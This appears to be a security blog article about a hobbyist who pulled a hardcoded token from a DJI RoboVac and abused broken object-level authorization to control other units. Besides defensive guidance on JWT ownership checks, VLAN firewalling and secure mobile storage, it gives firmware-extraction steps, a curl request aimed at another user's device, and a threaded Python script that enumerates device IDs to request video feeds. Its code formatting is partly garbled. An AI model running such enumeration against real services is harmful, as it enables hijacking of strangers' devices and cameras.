Listen to this Post
Introduction:
In a stunning display of IoT insecurity, a hobbyist attempting to connect his DJI RoboVac to a PS5 controller inadvertently reverse-engineered the device’s communication protocol, extracting a hardcoded API token. This token not only granted him full control over his own vacuum but, due to a catastrophic lack of tenant isolation, allowed him to command the entire global fleet of DJI RoboVacs and access their live video feeds. The incident underscores the critical failures in embedded system design, where manufacturers prioritize time-to-market over robust authentication and authorization mechanisms. This article dissects the technical anatomy of the hack, provides step-by-step guides for discovering similar flaws, and outlines essential mitigation strategies for developers and security teams.
Learning Objectives:
- Understand the risks of hardcoded credentials and broken object-level authorization in IoT ecosystems.
- Learn how to intercept and analyze IoT device traffic using common open-source tools.
- Master techniques for extracting firmware and analyzing embedded tokens.
- Implement defense-in-depth strategies for IoT device security and network segmentation.
You Should Know:
- Token Extraction and Firmware Analysis: How the Hobbyist Did It
The user’s journey began with a simple goal: map the RoboVac’s control commands to a PS5 controller. To do this, he needed to understand the API the vacuum used to communicate with DJI’s cloud. By setting up a man-in-the-middle (MITM) proxy between the mobile app and the device, he intercepted the traffic and discovered an authentication token stored locally on his phone. Further digging led him to extract the firmware from the device itself, revealing that the same static token was hardcoded and used by every single unit shipped.
Step‑by‑step guide for ethical testing (simulated environment only):
Note: This guide is for educational purposes on devices you own or have explicit permission to test.
- Intercepting Mobile Traffic:
- On your PC, install a proxy tool like Burp Suite or OWASP ZAP.
- Configure your mobile device to route traffic through the proxy (set the PC’s IP as a proxy in Wi-Fi settings).
- Install the proxy’s CA certificate on your mobile device to decrypt HTTPS traffic.
- Launch the IoT device’s app and perform actions (start/stop vacuum). Observe the requests in the proxy.
- Look for `Authorization: Bearer
` headers or tokens passed in JSON bodies. Note if the token remains static across sessions.
- Extracting Firmware:
- Identify the firmware update mechanism. Often, devices download updates via HTTP or HTTPS.
- Use `wget` or `curl` on Linux to download the firmware file if the URL is exposed in the app traffic.
- Alternatively, if you have physical access, open the device and look for a UART (serial) header.
- Connect to the UART using a USB-to-TTL adapter (e.g., CP2102) and a tool like `screen` or `PuTTY` at the correct baud rate (often 115200).
- Interrupt the boot process to get a root shell and dump the filesystem using `dd` or
cat.
– Analyzing the Firmware:
1. Use `binwalk` on Linux to extract the filesystem from the firmware binary:
binwalk -e firmware.bin
2. Navigate to the extracted filesystem and `grep` for common token patterns (e.g., grep -r "api.dji.com" ., grep -r "token" ., grep -r "[A-Za-z0-9]{32,}" .).
3. Strings analysis: `strings ./squashfs-root/bin/ | grep -i “auth”` can reveal hardcoded credentials.
2. Exploiting Broken Object Level Authorization (BOLA)
Once the hobbyist had the token, he attempted to send commands to his own device. However, by manipulating the API endpoint—specifically, the device identifier—he discovered that the server did not verify if the token actually owned the target device. This is a classic BOLA vulnerability. With a single static token and a simple loop, he could enumerate device IDs and take over any RoboVac globally.
Step‑by‑step guide to identifying BOLA:
- Using cURL for API Testing:
- After capturing a legitimate request in Burp Suite, copy it as a cURL command.
- Modify the request to target another device ID. For example, if the original was
POST /api/v1/device/12345/command, change it to12346.
3. Execute the command from a terminal:
curl -X POST https://api.iotvendor.com/api/v1/device/12346/command \
-H "Authorization: Bearer eyJhbGciOiJIUzI1..." \
-H "Content-Type: application/json" \
-d '{"command": "start_cleaning"}'
4. If you receive a `200 OK` response or the target device (if you have access to a second test unit) performs the action, BOLA is confirmed.
– Enumeration Script (Python Example):
import requests
import threading
token = "YOUR_STATIC_TOKEN_HERE"
base_url = "https://api.iotvendor.com/api/v1/device/"
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
def test_device(device_id):
response = requests.post(f"{base_url}{device_id}/command", headers=headers, json={"command": "get_video_feed"})
if response.status_code == 200:
print(f"Vulnerable device found: {device_id} - {response.text[:100]}")
Simulate testing a range of IDs (USE ONLY WITH PERMISSION)
for i in range(1000, 2000):
thread = threading.Thread(target=test_device, args=(i,))
thread.start()
Warning: This is a proof-of-concept for authorized testing only. Unauthorized access is illegal.
3. Implementing Proper Token Validation and Tenant Isolation
To prevent this vulnerability, the cloud backend must enforce that every request’s token is bound to the resource being accessed. The server should check: Does the user associated with this token have permission to access device ID X?
Step‑by‑step guide for secure API implementation (Developer Focus):
- Use Short-Lived JWTs with Scopes:
- Upon authentication, issue a JWT (JSON Web Token) containing the user ID and a list of device IDs they own.
- Include an expiration (
exp) claim of a few hours to limit token misuse. - In every API endpoint, validate the token and then perform an ownership check:
Flask example from flask import request, jsonify import jwt</li> </ol> @app.route('/api/device/<device_id>/command', methods=['POST']) def device_command(device_id): token = request.headers.get('Authorization').split()[bash] try: payload = jwt.decode(token, 'SECRET_KEY', algorithms=['HS256']) user_id = payload['user_id'] owned_devices = payload['devices'] List of device IDs the user owns if device_id not in owned_devices: return jsonify({"error": "Unauthorized"}), 403 ... proceed with command except jwt.ExpiredSignatureError: return jsonify({"error": "Token expired"}), 401– Implement Resource-Specific API Keys (for M2M):
For device-to-cloud communication, generate unique, per-device API keys stored in a hardware secure element (if available) and rotated regularly.- Network Segmentation: The Last Line of Defense (VLANs)
While you cannot fix a vendor’s broken cloud, you can protect your network. Laurent M.’s comment in the original post hits the nail on the head: Without well-isolated VLANs, you’re asking for trouble. All IoT devices should reside on a separate network segment that cannot initiate connections to your critical assets (laptops, phones, servers).
Step‑by‑step guide for isolating IoT devices at home (using a managed switch/OpenWrt router):
– Create the VLAN:1. Access your router or managed switch interface.
- Create a new VLAN, e.g., VLAN 10, with a subnet like 192.168.10.0/24.
– Assign Ports:
1. Assign the switch port connected to your router as a trunk port (carries multiple VLANs).
2. Assign a specific port (e.g., Port 5) as an access port for VLAN 10. Plug your RoboVac into this port.
– Configure Firewall Rules:On your router/firewall (e.g., pfSense, iptables):
- Allow: IoT devices can reach the internet (WAN) for necessary updates.
- Allow: IoT devices can receive responses from established connections.
- Deny: IoT devices can initiate connections to your trusted LAN (e.g., 192.168.1.0/24).
- Optional: Allow your trusted LAN to initiate connections to IoT devices for management (e.g., your phone on the LAN can reach the vacuum).
- Linux iptables example:
Allow IoT VLAN (192.168.10.0/24) to go out to internet (eth0) iptables -A FORWARD -i vlan10 -o eth0 -j ACCEPT iptables -A FORWARD -i eth0 -o vlan10 -m state --state ESTABLISHED,RELATED -j ACCEPT Block IoT from initiating connections to LAN (192.168.1.0/24) iptables -A FORWARD -i vlan10 -o lan_br -j DROP
5. Mobile App Hardening: Preventing Token Extraction
The token was likely stored insecurely on the hobbyist’s phone. For Android and iOS, storing secrets in plaintext in SharedPreferences or UserDefaults is a fatal flaw.
Step‑by‑step guide for secure mobile storage:
- Android (using EncryptedSharedPreferences):
val masterKey = MasterKey.Builder(context) .setKeyScheme(MasterKey.KeyScheme.AES256_GCM) .build()</li> </ul> val sharedPreferences = EncryptedSharedPreferences.create( context, "secure_prefs", masterKey, EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV, EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM ) sharedPreferences.edit().putString("auth_token", token).apply()– iOS (using Keychain):
let tokenData = token.data(using: .utf8)! let query: [String: Any] = [ kSecClass as String: kSecClassGenericPassword, kSecAttrAccount as String: "auth_token", kSecValueData as String: tokenData ] SecItemAdd(query as CFDictionary, nil)
– Certificate Pinning:
Prevent MITM attacks by pinning the app to expect a specific server certificate or public key. This makes it much harder for an attacker to intercept traffic, even with a proxy.What Undercode Say:
- Key Takeaway 1: The DJI RoboVac hack is a textbook case of “security through obscurity” failing catastrophically. Hardcoding a single, global token is the antithesis of secure design. It demonstrates that without proper identity management and resource isolation, a single extracted credential can lead to a total system compromise.
- Key Takeaway 2: Defense in depth is not just a buzzword. While we cannot control vendor security, we can control our network hygiene. VLAN segmentation and strict firewall rules would have contained the damage, preventing an attacker from pivoting from a compromised vacuum to a home PC or corporate laptop.
The incident also highlights a growing tension in the security community. The hobbyist’s frustration with vendor negligence is understandable, but his decision to forgo responsible disclosure put millions of users at immediate risk before a fix was available. It forces us to ask: When manufacturers are willfully negligent, is full disclosure the only language they understand? This case will likely accelerate regulatory pressure on IoT manufacturers to adhere to baseline security standards, such as requiring unique credentials per device and prohibiting hardcoded backdoors.
Prediction:
This incident will serve as a catalyst for stricter IoT security regulations globally. We can expect to see the “Static Token” vulnerability become a poster child for non-compliance with emerging standards like the EU’s Cyber Resilience Act. In the short term, we will likely witness a surge in similar vulnerability disclosures as security researchers and hobbyists, inspired by this success, begin aggressively probing consumer IoT devices. For enterprises, the incident underscores the urgent need for zero-trust network access (ZTNA) models that extend to every connected device, treating them as untrusted endpoints until proven otherwise.
▶️ Related Video (78% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Blasdo Trusting – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]
📢 Follow UndercodeTesting & Stay Tuned:
- Network Segmentation: The Last Line of Defense (VLANs)
